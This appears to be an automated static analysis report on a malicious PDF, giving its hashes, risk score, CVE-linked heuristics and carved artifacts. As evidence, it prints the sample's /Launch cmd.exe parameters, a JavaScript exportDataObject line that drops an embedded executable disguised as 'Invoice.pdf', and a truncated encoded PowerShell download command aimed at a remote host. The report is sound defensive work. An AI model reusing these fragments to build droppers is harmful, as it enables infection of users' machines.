Malicious PDF — malware analysis report

Static analysis result for SHA-256 f05331e21f7db59e…

MALICIOUS

PDF

101.9 KB Created: 2026-04-28 00:04:04 +03:00 Authoring application: Microsoft® Word for Microsoft 365 First seen: 2026-06-11
MD5: 0f6e8a23259e2db7d1bb59edf5324041 SHA-1: c68b047215e3eb6ba5f02e45c3fa92c478907f8a SHA-256: f05331e21f7db59edd91c15dcd83c096cec29f113ec96c889bbb4b64924d230a
736 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 16

  • Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240
    PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
  • TrueType bitmap font + active content — CVE-2023-26369 related high CVE related PDF_CVE_2023_26369_RELATED
    PDF embeds a TrueType font with bitmap tables (EBDT/sbix/CBDT) alongside exploit delivery indicators — CVE-2023-26369 exploits the sfac_GetSbitBitmap function in Adobe's libCoolType for arbitrary code execution. This CVE was actively exploited in the wild, but this rule does not validate the malformed EBLC/EBDT primitive.
  • ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOAD
    PDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\Invoice.pdf" (cd "Desktop"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCH
    An /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
  • PowerShell download cradle in PDF action body critical PDF_PS_DOWNLOAD_CRADLE
    PDF contains a PowerShell download-and-execute cradle (IEX/Invoke-Expression of a remote payload, [Net.WebClient]/[Net.ServicePointManager], or `-ep Bypass -enc <base64>`). These strings are rare in benign PDFs and are strong evidence of payload staging in an attack chain (MITRE T1059.001 + T1105).
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
    PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Callback phishing phone lure medium SE_CALLBACK_LURE
    Document asks the user to call a phone number in billing, refund, subscription, fraud, or security context — consistent with callback phishing or tech-support scam patterns. Suppressed for legitimate-issuer (IRS/gov/official-form) or Microsoft license-boilerplate documents that carry no urgency or charge/dispute escalation.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://www.microsoft.com/typography/ctfontshttp://www.fonts.comMicrosoftIn PDF document text
    • http://www.microsoft.com/typography/fonts/default.aspxIn PDF document text

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
Invoice.pdf pdf-embedded-file PDF EmbeddedFile object 93 at offset 0x18A9A 9728 bytes
SHA-256: 189d1bb7dfcf26e2db3edb46aa0160a9251be0ac18deec0f8805583d767e6223
Detection
ClamAV: Win.Trojan.MSShellcode-7
Obfuscation or payload: likely
actual_type=PE; declared_or_context_type=PDF; filename=Invoice.pdf; kind=pdf-embedded-file Static shellcode analysis found candidate code region(s). Indicators: SC_STR_VIRTUALPROTECT, SC_MSF_REVERSE, SC_STR_POWERSHELL Static shellcode analysis recovered API/import strings: kernel32.dll, KERNEL32.DLL, VirtualProtect Static shellcode analysis recovered command string(s): powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedComma, powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAkAHUAcgBsACAAPQAgACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAyAC8AbQBhAGwAdwBhAHIAZQA Carved artifact contains a PowerShell -EncodedCommand style payload.
javascript_obj0094_000.js pdf-javascript-stream PDF /JS object 94 at offset 0x19215 56 bytes
SHA-256: 874bee961f8ca9ee6fa78efe17c8baef62f737fe1d7cdaa2fa6c6f77c9d4cf6d
Preview script
First 1,000 lines of the extracted script
this.exportDataObject({ cName: "Invoice", nLaunch: 0 });
stream_003_off00009701.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x9701 133232 bytes
SHA-256: 34c7bc6d4083890c20466457cb4dbb0b021ca319bd7161c956d5c0bfac6221af